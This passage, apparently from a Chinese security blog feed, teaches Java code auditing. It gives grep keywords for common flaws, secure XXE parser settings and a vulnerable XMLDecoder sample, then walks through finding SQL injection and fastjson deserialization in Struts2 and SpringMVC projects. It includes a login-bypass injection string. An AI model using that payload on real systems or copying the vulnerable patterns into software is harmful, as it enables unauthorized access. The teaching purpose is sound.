class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">/down<br>/file<br>/export<br>/file<br></code></pre></div></td></tr></table></figure><h1 id="越权（信息泄露）"><a href="#越权（信息泄露）" class="headerlink" title="越权（信息泄露）"></a>越权（信息泄露）</h1><p>直接看业务逻辑，看有无对登陆/权限的校验</p><h1 id="目录遍历-ssrf"><a href="#目录遍历-ssrf" class="headerlink" title="目录遍历/ssrf"></a>目录遍历/ssrf</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-string">&quot;url&quot;</span><br>filepath<br>fileurlpath<br></code></pre></div></td></tr></table></figure><h1 id="文件包含（jsp文件）"><a href="#文件包含（jsp文件）" class="headerlink" title="文件包含（jsp文件）"></a>文件包含（jsp文件）</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">include<br></code></pre></div></td></tr></table></figure><h1 id="XXE"><a href="#XXE" class="headerlink" title="XXE"></a>XXE</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">parseX<br>parseT<br></code></pre></div></td></tr></table></figure><h2 id="引用的接口："><a href="#引用的接口：" class="headerlink" title="引用的接口："></a>引用的接口：</h2><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">javax.xml.parsers.DocumentBuilder<br>javax.xml.stream.XMLInputFactoryr<br>org.jdom.input.SAXBuilder<br>org.jdom2.input.SAXBuilder<br>javax.xml.parsers.SAXParser<br>org.dom4j.io.SAXReader <br>org.xml.sax.XMLReader<br>javax.xml.transform.sax.SAXSource <br>javax.xml.transform.TransformerFactory <br>javax.xml.transform.sax.SAXTransformerFactory <br>javax.xml.validation.SchemaFactory<br>javax.xml.bind.Unmarshaller<br>javax.xml.xpath.XPathExpression<br></code></pre></div></td></tr></table></figure><h2 id="修复写法："><a href="#修复写法：" class="headerlink" title="修复写法："></a>修复写法：</h2><h3 id="javax-xml-parsers-DocumentBuilder"><a href="#javax-xml-parsers-DocumentBuilder" class="headerlink" title="javax.xml.parsers.DocumentBuilder"></a><code>javax.xml.parsers.DocumentBuilder</code></h3><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();<br>dbf.setAttribute(<span class="hljs-string">&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;</span>, <span class="hljs-keyword">true</span>);<br>dbf.setAttribute(<span class="hljs-string">&quot;http://xml.org/sax/features/external-general-entities&quot;</span>, <span class="hljs-keyword">false</span>);<br>dbf.setAttribute(<span class="hljs-string">&quot;http://xml.org/sax/features/external-parameter-entities&quot;</span>, <span class="hljs-keyword">false</span>);<br>dbf.setAttribute(<span class="hljs-string">&quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&quot;</span>, <span class="hljs-keyword">false</span>);<br>dbf.setAttribute(XMLConstants.FEATURE_SECURE_PROCESSING, <span class="hljs-keyword">true</span>);<br>dbf.setExpandEntityReferences(<span class="hljs-keyword">false</span>);<br>DocumentBuilder db = dbf.newDocumentBuilder();<br></code></pre></div></td></tr></table></figure><h3 id="javax-xml-stream-XMLInputFactory"><a href="#javax-xml-stream-XMLInputFactory" class="headerlink" title="javax.xml.stream.XMLInputFactory"></a><code>javax.xml.stream.XMLInputFactory</code></h3><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">XMLInputFactory xif = XMLInputFactory.newInstance();<br>xif.setProperty(XMLInputFactory.SUPPORT_DTD, <span class="hljs-keyword">false</span>);<br>xif.setProperty(<span class="hljs-string">&quot;javax.xml.stream.isSupportingExternalEntities&quot;</span>, <span class="hljs-keyword">false</span>);<br>XMLStreamReader reader = xif.createXMLStreamReader(<span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-keyword">new</span> File(path)));<br>org.jdom.input.SAXBuilder<br>SAXBuilder saxBuilder = <span class="hljs-keyword">new</span> SAXBuilder();<br>saxBuilder.setFeature(<span class="hljs-string">&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;</span>, <span class="hljs-keyword">true</span>);<br>saxBuilder.setFeature(<span class="hljs-string">&quot;http://xml.org/sax/features/external-general-entities&quot;</span>, <span class="hljs-keyword">false</span>);<br>saxBuilder.setFeature(<span class="hljs-string">&quot;http://xml.org/sax/features/external-parameter-entities&quot;</span>, <span class="hljs-keyword">false</span>);<br>org.jdom2.Document build = saxBuilder.build(<span class="hljs-keyword">new</span> File(path));<br></code></pre></div></td></tr></table></figure><h3 id="javax-xml-parsers-SAXParser"><a href="#javax-xml-parsers-SAXParser" class="headerlink" title="javax.xml.parsers.SAXParser"></a><code>javax.xml.parsers.SAXParser</code></h3><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">SAXParserFactory spf =SAXParserFactory.newInstance();<br>spf.setFeature(<span class="hljs-string">&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;</span>, <span class="hljs-keyword">true</span>);<br>spf.setFeature(<span class="hljs-string">&quot;http://xml.org/sax/features/external-general-entities&quot;</span>, <span class="hljs-keyword">false</span>);<br>spf.setFeature(<span class="hljs-string">&quot;http://xml.org/sax/features/external-parameter-entities&quot;</span>, <span class="hljs-keyword">false</span>);<br>SAXParser parser =spf.newSAXParser();<br>MyDefaultHandler myHandler = <span class="hljs-keyword">new</span> MyDefaultHandler();<br></code></pre></div></td></tr></table></figure><h3 id="org-xml-sax-XMLReader"><a href="#org-xml-sax-XMLReader" class="headerlink" title="org.xml.sax.XMLReader"></a><code>org.xml.sax.XMLReader</code></h3><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">FileReader  fileReader = <span class="hljs-keyword">new</span> FileReader(path);<br>XMLReader parser = XMLReaderFactory.createXMLReader();<br>parser.setFeature(<span class="hljs-string">&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;</span>, <span class="hljs-keyword">true</span>);<br>parser.setFeature(<span class="hljs-string">&quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&quot;</span>, <span class="hljs-keyword">false</span>);<br>parser.setFeature(<span class="hljs-string">&quot;http://xml.org/sax/features/external-general-entities&quot;</span>, <span class="hljs-keyword">false</span>);<br>parser.setFeature(<span class="hljs-string">&quot;http://xml.org/sax/features/external-parameter-entities&quot;</span>, <span class="hljs-keyword">false</span>);<br></code></pre></div></td></tr></table></figure><h2 id="xml反序列化写法"><a href="#xml反序列化写法" class="headerlink" title="xml反序列化写法"></a>xml反序列化写法</h2><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">XMLDecoder</span><span class="hljs-params">(String path)</span> </span>&#123;<br><span class="hljs-keyword">try</span> &#123;<br>File file = <span class="hljs-keyword">new</span> File(path);<br>FileInputStream fis = <span class="hljs-keyword">new</span> FileInputStream(file);<br>BufferedInputStream bis = <span class="hljs-keyword">new</span> BufferedInputStream(fis);<br>XMLDecoder xd = <span class="hljs-keyword">new</span> XMLDecoder(bis);<br>xd.readObject();<br>xd.close();<br>&#125; <span class="hljs-keyword">catch</span> (FileNotFoundException e) &#123;<br>e.printStackTrace();<br>&#125;<br>&#125;<br></code></pre></div></td></tr></table></figure><h1 id="业务逻辑漏洞"><a href="#业务逻辑漏洞" class="headerlink" title="业务逻辑漏洞"></a>业务逻辑漏洞</h1><p>走if的时候根据判断status是否等于true来进行流程，比如<code>status/resultCode==0</code>时允许进行下一步<br>示例：</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-comment">// 0：成功 1：失败</span><br>        <span class="hljs-keyword">if</span> (<span class="hljs-string">&quot;0&quot;</span>.equals(resultCode)) &#123;<br><br>&#125;<br></code></pre></div></td></tr></table></figure><h1 id="密码硬编码"><a href="#密码硬编码" class="headerlink" title="密码硬编码"></a>密码硬编码</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">password<br></code></pre></div></td></tr></table></figure><h1 id="springmvc业务逻辑"><a href="#springmvc业务逻辑" class="headerlink" title="springmvc业务逻辑"></a>springmvc业务逻辑</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">*Controller.java<br></code></pre></div></td></tr></table></figure><h1 id="tapestry框架业务逻辑"><a href="#tapestry框架业务逻辑" class="headerlink" title="tapestry框架业务逻辑"></a>tapestry框架业务逻辑</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">extends BusiPage<br></code></pre></div></td></tr></table></figure><h1 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">implemtns<br></code></pre></div></td></tr></table></figure><h1 id="CORS"><a href="#CORS" class="headerlink" title="CORS"></a>CORS</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">CrossOrigin<br></code></pre></div></td></tr></table></figure><h1 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">.application<br></code></pre></div></td></tr></table></figure><h1 id="接口"><a href="#接口" class="headerlink" title="接口"></a>接口</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-class"><span class="hljs-keyword">interface</span></span><br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>java审计</tag>
      
      <tag>审计思路</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>2020年代码审计总结</title>
    <link href="/2020/12/24/45/"/>
    <url>/2020/12/24/45/</url>
    
    <content type="html"><![CDATA[<h1 id="1-前言"><a href="#1-前言" class="headerlink" title="1.前言"></a>1.前言</h1><p>要熟悉java语法，知道啥是类，啥是方法，啥是接口，啥是常量巴拉巴拉巴拉</p><h1 id="2-确定框架"><a href="#2-确定框架" class="headerlink" title="2.确定框架"></a>2.确定框架</h1><p>在打开源码时先判断系统框架，例如一个struts2项目中web.xml文件存在Filter-class为:<br><code>org.apache.struts2.dispatcher.xxxx</code><br><img src="/images/xianzhi/1.png"><br>以及resources目录（或src（root）目录下）中存在strtus.xml<br><img src="/images/xianzhi/2.png"><br>如果存在pom那pom.xml中存在struts依赖信息<br><img src="/images/xianzhi/3.png"><br>而springmvc的特征则是在pom.xml中会存在相关依赖<br><img src="/images/xianzhi/4.png"><br>web.xml中存在关于DispatcherServlet的注册配置<br><img src="/images/xianzhi/5.png"></p><h1 id="3-审计思路"><a href="#3-审计思路" class="headerlink" title="3.审计思路"></a>3.审计思路</h1><h2 id="3-1-Struts2"><a href="#3-1-Struts2" class="headerlink" title="3.1.Struts2"></a>3.1.Struts2</h2><h3 id="3-1-1-过滤器及映射配置"><a href="#3-1-1-过滤器及映射配置" class="headerlink" title="3.1.1.过滤器及映射配置"></a>3.1.1.过滤器及映射配置</h3><h4 id="3-1-1-1-Web-xml"><a href="#3-1-1-1-Web-xml" class="headerlink" title="3.1.1.1.Web.xml"></a>3.1.1.1.Web.xml</h4><p>查看web.xml中<code>&lt;filter-mapping&gt;</code>的<code>&lt;url-pattern&gt;</code>来确定拦截规则，当是<code>.action</code>时所有以<code>.action</code>为结尾的请求都会被struts处理拦截，/test/.action则只有test目录下的请求会被拦截。</p><h4 id="3-1-1-2-struts-xml"><a href="#3-1-1-2-struts-xml" class="headerlink" title="3.1.1.2.struts.xml"></a>3.1.1.2.struts.xml</h4><p>通过struts.xml文件,查看存在哪些action,以及处理具体请求的java文件路径<br>例如:</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">&lt;action name=<span class="hljs-string">&quot;test&quot;</span> method=<span class="hljs-string">&quot;test&quot;</span> <span class="hljs-class"><span class="hljs-keyword">class</span></span>=<span class="hljs-string">&quot;novy.action.LoginAction&quot;</span>/&gt;<br></code></pre></div></td></tr></table></figure><p>表示<code>novy.action.LoginAction</code>类中的test方法,处理<code>http://127.0.0.1/test.action</code>的请求。而在另一种的写法中</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">&lt;action name=<span class="hljs-string">&quot;GoLogin&quot;</span> <span class="hljs-class"><span class="hljs-keyword">class</span></span>=<span class="hljs-string">&quot;com.action.GoLogin&quot;</span>&gt;<br>&lt;result name=&quot;input&quot;&gt;/Login.jsp&lt;/result&gt;<br>&lt;result name=&quot;success&quot;&gt;/Index.jsp&lt;/result&gt;<br>&lt;/action&gt;<br></code></pre></div></td></tr></table></figure><p>表示<code>GoLogin</code>类处理<code>http://127.0.0.1/login.jsp和index.jsp请求</code><br><img src="/images/xianzhi/6.png"></p><p>还有一种动态方法调用方式请看<a href="https://www.cnblogs.com/zhangzhenzhen/p/5959555.html">https://www.cnblogs.com/zhangzhenzhen/p/5959555.html</a></p><p>在审计漏洞之前，我们需要了解一下web各层流程</p><h3 id="3-1-2-层次介绍"><a href="#3-1-2-层次介绍" class="headerlink" title="3.1.2.层次介绍"></a>3.1.2.层次介绍</h3><p>通常在struts2中<br><strong>action为业务逻辑处理层</strong>，action层接收来自视图层（.jsp（可以理解为前端吧，就是用户看到操作的那层））的请求，并接收请求参数，同时负责调用模型Model层方法来完成业务逻辑的处理，最后控制程序的流程，选择一个合适的视图，将结果显示给用户，一般这个目录下文件的特征表现为xxxxaction.java，比如NovyAction.java；</p><p><strong>dao为数据持久层</strong>，在这层中通常是用来做数据库请求处理的，增删查改都在这里，一般这个目录下文件的特征表现为xxxxDao.java，比如NovyDao.java。</p><p>在web运行处理请求时流程为业务逻辑处理层-数据持久层</p><h3 id="3-1-3-实例"><a href="#3-1-3-实例" class="headerlink" title="3.1.3.实例"></a>3.1.3.实例</h3><p>Idea打开项目，查看目录结构<br><img src="/images/xianzhi/7.png"><br>从目录得知该框架为struts，web运行处理流程为action-&gt;dao，bean是实体处理，db是数据库连接配置，两者不在流程之中。<br>根据之前**3.1.1.**介绍，我们首先看web.xml文件，查看拦截配置<br>所有.action的请求会被struts2处理，具体实现为StrustPrepareAndExecuteFilter类<br><img src="/images/xianzhi/8.png"><br>查看struts.xml中映射配置<br><img src="/images/xianzhi/9.png"><br>根据配置我们知道login.jsp请求由GoLogin类处理，所以我们可以根据路径跟进GoLogin类，其路径组成对应为<br>src（root）/<code>com/action/GoLogin</code>.java<br><img src="/images/xianzhi/10.png"></p><h4 id="3-1-3-1-代码分析"><a href="#3-1-3-1-代码分析" class="headerlink" title="3.1.3.1.代码分析"></a>3.1.3.1.代码分析</h4><p>在GoLogin类中我们就可以看到一些对登陆的处理，如果我们找登陆处的SQL注入的话就看处理登陆参数的相关方法，比如此处new了一个AdminDao类下的checkLogin方法来处理username及Password，再根据判断返回的结果是否为空来显示相应内容<br><img src="/images/xianzhi/11.png"><br>根据<strong>3.1.2</strong>介绍我们知道AdminDao为数据持久层，那么ChekLogin方法通常就是对登陆做数据库操作的地方，所以我们跟进一下该方法<br><img src="/images/xianzhi/12.png"><br>在此处因为直接拼接请求参数，然后带入数据库去执行查询导致了SQL注入漏洞的产生</p><h4 id="3-1-3-2-漏洞验证"><a href="#3-1-3-2-漏洞验证" class="headerlink" title="3.1.3.2.漏洞验证"></a>3.1.3.2.漏洞验证</h4><p>根据前面<strong>3.1.1.2</strong>介绍我们知道其请求路由为login.jsp<br>根据漏洞位置我们模拟其sql语句为</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">select * from Admin <span class="hljs-built_in">where</span> Admin_Username=<span class="hljs-string">&#x27;username&#x27;</span> and Admin_Password=<span class="hljs-string">&#x27;password&#x27;</span><br></code></pre></div></td></tr></table></figure><p>所以登陆时我们可以使用万能用户名来进行登陆绕过<br><code>Admin’or”=”or--+</code><br><img src="/images/xianzhi/13.png"></p><h2 id="3-2-SpringMVC"><a href="#3-2-SpringMVC" class="headerlink" title="3.2.SpringMVC"></a>3.2.SpringMVC</h2><h3 id="3-2-1-配置及依赖"><a href="#3-2-1-配置及依赖" class="headerlink" title="3.2.1.配置及依赖"></a>3.2.1.配置及依赖</h3><h4 id="3-2-1-1-Web-xml"><a href="#3-2-1-1-Web-xml" class="headerlink" title="3.2.1.1.Web.xml"></a>3.2.1.1.Web.xml</h4><p>通过web.xml中DispatcherServlet配置,来查看springMVC作用范围<br><img src="/images/xianzhi/14.png"><br>通过servlet中contextConfigLocation配置,查看springMVC配置文件所在路径<br><img src="/images/xianzhi/15.png"></p><h4 id="3-2-1-2-Springmvc-xml"><a href="#3-2-1-2-Springmvc-xml" class="headerlink" title="3.2.1.2.Springmvc.xml"></a>3.2.1.2.Springmvc.xml</h4><p>在springMVC配置文件中,<code>component-scan</code>是用来查找Controller类所在位置，<code>org.springframework.web.servlet.view.InternalResourceViewResolver</code>为自定义视图解析器<br><img src="/images/xianzhi/16.png"></p><h4 id="3-2-1-3-pom-xml"><a href="#3-2-1-3-pom-xml" class="headerlink" title="3.2.1.3.pom.xml"></a>3.2.1.3.pom.xml</h4><p>它是Maven项目中的文件，使用XML表示，也可以由此判断该项目是否为maven项目，该配置文件通常用来声明项目信息、环境的配置、引用组件依赖等等<br><img src="/images/xianzhi/17.png"><br>还是老规矩，在审计漏洞之前，我们先看下spring的请求处理流程</p><h3 id="3-2-2-层次介绍"><a href="#3-2-2-层次介绍" class="headerlink" title="3.2.2.层次介绍"></a>3.2.2.层次介绍</h3><p>通常在springmvc中<br><strong>controller为控制层（业务逻辑）</strong>，用来接收客户端的请求，然后调用Service层业务逻辑，获取到数据，传递数据给视图层（客户端）用于视觉呈现，一般请求的url在这里，比如</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-meta">@Controller</span><br><span class="hljs-meta">@RequestMapping(value = &quot;/novy&quot;)</span> <br></code></pre></div></td></tr></table></figure><p>则请求url为<code>http://localhost/novy</code><br>控制层的文件一般为xxxcontroller.java，比如NovyController.java</p><p><strong>Service是业务层</strong>，接收Controller层数据，与DAO/Mapper层交互，处理业务逻辑，生成responseDTO数据并返回Controller层 ,该层文件一般为xxxServce.java，比如NovyService.java，此处是接口定义，就是定义一些方法，没有这些方法的实现，但是有时候数据操作会在这里发生（看开发）</p><p><strong>Implements是服务实现层（接口实现）</strong>，用来处理一些方法的实现（这个方法干了啥干了啥），该层文件一般为xxxImpl.java，比如NovyImpl.java，impl 是把mapper和service进行整合的文件，有时候一些sql操作也会发生在这里</p><p><strong>Mapper是数据持久层</strong>，对数据库进行数据持久化操作，他的方法语句是直接针对数据库操作的，数据持久层文件通常都是xxxMapper.xml，比如NovyMapper.xml</p><p><strong>Dao是数据接口层</strong>，一些数据请求（接口）会在这里发生（一般用于内部实现）</p><p><strong>Entity是实体处理层</strong>，用于存放我们的实体类，与数据库中的属性值基本保持一致（定义前端传来的请求参数）</p><p>在web运行时处理请求的流程为<code>Controller-&gt;Service-&gt;impl-&gt;mapper</code></p><h3 id="3-2-3-实例"><a href="#3-2-3-实例" class="headerlink" title="3.2.3.实例"></a>3.2.3.实例</h3><p>这里以含有漏洞的springboot项目做案例（springboot和springmvc配置不一样，感兴趣的自行百度，但是请求处理流程一样，这里讲的又不是开发，不影响演示），Idea打开项目，等待依赖导入完成<br><img src="/images/xianzhi/18.png"><br>发生报错的就自己下载相关组件导入<br>查看目录结构<br><img src="/images/xianzhi/19.png"><br>按照<strong>3.2.2</strong>介绍得知流程为<strong>controller-&gt;services-&gt;mapper</strong>，按照<strong>3.2.2</strong>对pom的介绍，我们先看pom.xml引用了哪些组件，以此来找出包含漏洞版本的组件，然后再看controller及其他，可以在idea中利用file mask来查看所有controller或全局搜索<code>@Controller</code><br><img src="/images/xianzhi/20.png"></p><h4 id="3-2-3-1-代码分析"><a href="#3-2-3-1-代码分析" class="headerlink" title="3.2.3.1.代码分析"></a>3.2.3.1.代码分析</h4><p>首先查看引用的组件<br>pom.xml<br><img src="/images/xianzhi/22.png"><br>看到了两个存在漏洞的组件，拿fastjson反序列化来说，全局搜索json.parseObject或JSONObject.parseObject或<code>@RequestBody</code>来查找参数可控的地方<br><img src="/images/xianzhi/23.png"><br>在此处中用@RequestBody注解来获取整个请求体，然后对请求体进行反序列化<br><img src="/images/xianzhi/24.png"><br>按照上面介绍到的搜索并点进一个controller，从<strong>3.2.2</strong>对controller介绍得知此处请求url为<code>/informlistpaging</code><br><img src="/images/xianzhi/21.png"><br>在此处我们可以看到informListPaging方法定义了很多参数，拿basekey做例子，在该刚方法中被定义为字符串请求参数，按照<strong>3.1.3.1</strong>的思路，我们想要找注入就找到调用方法处理该参数的地方<br><img src="/images/xianzhi/25.png"><br>在80行中，nm的sortMyNotice方法对几个参数进行处理，这里需要注意的是，nm并不是一个类，而是一个被定义的接口，所以我们需要注意nm在哪里被定义了<br><img src="/images/xianzhi/26.png"><br>跟进NoticeMapper<br><img src="/images/xianzhi/27.png"><br>此处为接口，为nm提供了sortMyNotice方法，但这里还不是数据库操作的地方，因为controller无法直接调用mapper.xml的方法（select id），所以就需要这个mapper.java来做一个接口中转，所以我们根据<strong>3.2.2</strong>介绍，转到mapper.xml层<br>全局搜索sortMyNotice方法<br><img src="/images/xianzhi/28.png"><br>转到notice-mapper.xml<br><img src="/images/xianzhi/29.png"><br>此处的select id即为调用到的方法，往下为sql语句，我们可以看到在like后面直接用%${}%进行模糊查询，导致了漏洞的产生<br>有人会问service层呢？在这里<br><img src="/images/xianzhi/31.png"><br>imformRelationService的setList方法对mapper处理返回的数据进行封装处理后返回到controller，然后controller返回到视图层，流程结束<br><img src="/images/xianzhi/32.png"></p><h4 id="3-2-3-2-漏洞验证"><a href="#3-2-3-2-漏洞验证" class="headerlink" title="3.2.3.2.漏洞验证"></a>3.2.3.2.漏洞验证</h4><p>在<strong>3.2.2</strong>对controller的介绍中得知，根据controller构造url：<br><code>http://localhost/informlistpaging?baseKey=</code><br><img src="/images/xianzhi/30.png"></p><h2 id="3-3-ps：其他情况"><a href="#3-3-ps：其他情况" class="headerlink" title="3.3.ps：其他情况"></a>3.3.ps：其他情况</h2><h3 id="3-3-1-Sql操作在service层"><a href="#3-3-1-Sql操作在service层" class="headerlink" title="3.3.1.Sql操作在service层"></a>3.3.1.Sql操作在service层</h3><p>有时候sql查询会直接发生在service层，比如<br>某个项目中的某个方法有个查询，定义了一个字符串参数defkey<br><img src="/images/xianzhi/33.png"><br>查看wfservice在哪里被定义<br><img src="/images/xianzhi/34.png"><br>跟进WorkFlowService，在该service层中搜索前面调用到的getHavedonePage方法，在该方法中含有一条没有进行预编译的sql查询，此处直接进行带入到数据库查询导致了漏洞的产生<br><img src="/images/xianzhi/35.png"><br><img src="/images/xianzhi/36.png"></p><h3 id="3-3-2-跟到接口断了"><a href="#3-3-2-跟到接口断了" class="headerlink" title="3.3.2.跟到接口断了"></a>3.3.2.跟到接口断了</h3><p>当跟进方法时跟到接口断了怎么办，比如出现这种情况<br>controller里有一个密码重置<br><img src="/images/xianzhi/37.png"><br>跟进updatePassword方法<br><img src="/images/xianzhi/38.png"><br>到这里之后只看到提供给userService的updatePassword方法，没有看到具体的实现，<br>不要慌，根据<strong>3.2.2</strong>对implements的介绍，我们还有个impl没有看，全局搜索implements UserService<br><img src="/images/xianzhi/39.png"><br>就可以看到对接口UserService的updatePassword方法的实现<br><img src="/images/xianzhi/40.png"><br>这时候再继续往下跟就可以了，流程一样</p><h1 id="4-小技巧"><a href="#4-小技巧" class="headerlink" title="4.小技巧"></a>4.小技巧</h1><h2 id="4-1-命名"><a href="#4-1-命名" class="headerlink" title="4.1.命名"></a>4.1.命名</h2><p>无论是struts还是springmvc/boot，按照我的理解，为了方便区分和后续其他开发，除非另类命名（比如<strong>3.1.3</strong>），在整个请求处理流程中对于类名的前置命名都是一致的，比如<br><strong>Novy</strong>Controller-&gt;<strong>NovyService</strong>-&gt;(<strong>NovyService</strong>Impl-&gt;)<strong>Novy</strong>Mapper.xml<br>而不会出现<br><strong>Novy</strong>Controller-&gt;<strong>TestService</strong>-&gt;(<strong>WhyService</strong>Impl-&gt;)<strong>Oasd</strong>Mapper.xml<br>这种情况，所以在审计过程中跟进代码时利用idea的全局搜索能更好的提高审计效率<br><img src="/images/xianzhi/41.png"></p><h2 id="4-2-方法的跟进"><a href="#4-2-方法的跟进" class="headerlink" title="4.2.方法的跟进"></a>4.2.方法的跟进</h2><p>通常调用方法时都是<code>类名.方法名</code>，或者写了一个EntityManager接口，然后再定义一次:<br><code>private EntityManager em;</code><br>这样em就可以用到EntityManager里的方法<br>比如某个项目有一个序列化工具类SerializeUtil，在该类里有一个deserialize方法来反序列化接收的request数据<br><img src="/images/xianzhi/42.png"><br>而在controller中定义了一个接口<br><code>private SerializeUtil fvlh;</code><br>然后在某个<code>@PostMapping</code>注解下的方法进行调用<br><code>fvlh.deserialize(request);</code><br>如果我们想找反序列化漏洞就在跟进时可以直接ctrl+左键（idea）来跟进deserialize方法查看具体实现，或者先查看哪里定义了fvlh，然后再根据接口去跟进deserialize方法进行漏洞跟踪,最后确定该漏洞是否利用<br><img src="/images/xianzhi/43.png"></p><h1 id="5-其他"><a href="#5-其他" class="headerlink" title="5.其他"></a>5.其他</h1><p>还有tapestry框架，这个我在公司项目中审的，开源没碰见过，所以不好解释，等哪天碰到了再另说。总的来说跟进思路就这样，其他漏洞同理。感谢shxjia对相关专业知识的解答，感谢白帽100少先队的技术分享</p><p><a href="/images/45/%E5%87%A0%E4%B8%AA%E6%9C%88%E6%9D%A5java%E5%AE%A1%E8%AE%A1%E7%9A%84%E4%B8%80%E7%82%B9%E5%BF%83%E5%BE%97%E6%80%BB%E7%BB%93.docx" title="文档下载地址">文档下载地址（文档比较老，本文章对比文档有改动）</a></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>java审计</tag>
      
      <tag>审计思路</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>oasys SQL注入</title>
    <link href="/2020/12/15/44/"/>
